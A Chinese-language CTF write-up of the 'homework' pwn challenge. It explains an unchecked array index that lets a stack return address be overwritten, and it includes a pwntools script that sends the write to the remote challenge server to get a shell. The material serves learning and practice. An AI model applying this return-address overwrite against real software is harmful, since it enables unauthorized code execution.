根据提示:Index out bound, Return Address

根据源码:

void run_program()
{
    int arr[10], i, v, act;
    ……
    while(1) {
        ……
        switch(act) {
            case 0:
                return;
            case 1:
                printf("Index to edit: ");
                scanf("%d", &i);
                printf("How many? ");
                scanf("%d", &v);
                arr[i] = v;
                break;
            ……
        }
    }
}

可以看到,这里的arr数组只定义了10个值,但是在op1中没有0~9的区间判断,导致可以任意地址写

这样,我们可以使用gdb对run_program()函数进行调试!~覆盖该函数的返回地址至 - call_me_maybe()即成功

break *0x080487AF

给arr[0]到arr[9]赋值!观察其状态

这里可以数出来:返回地址在004c处的0x80488b1

从栈帧的角度解释:

arr的起始地址是:ebp - 34

0x34 = 52 = 4 * 13

函数的返回地址是:ebp+4

所以加起来的值是56 = 4 * 14,可知是第14个值

 

填充完毕之后,还要输入一个0,执行exit,就能从run_program返回,得到shell

exp如下:

#!/usr/bin/env python
# coding=utf-8

from pwn import *

#io = process("./homework")
io = remote("hackme.inndy.tw", 7701)

#Input Name
io.recvuntil("name? ")
io.sendline("Any String")

#overwrite return address
io.recvuntil("dump all numbers")
io.recvuntil(" > ")
io.sendline("1")
io.recvuntil("edit: ")
io.sendline("14")
io.recvuntil("How many? ")
system_addr = 0x080485FB
io.sendline(str(system_addr))

#exit
io.recvuntil("dump all numbers")
io.recvuntil(" > ")
io.sendline("0")

io.interactive()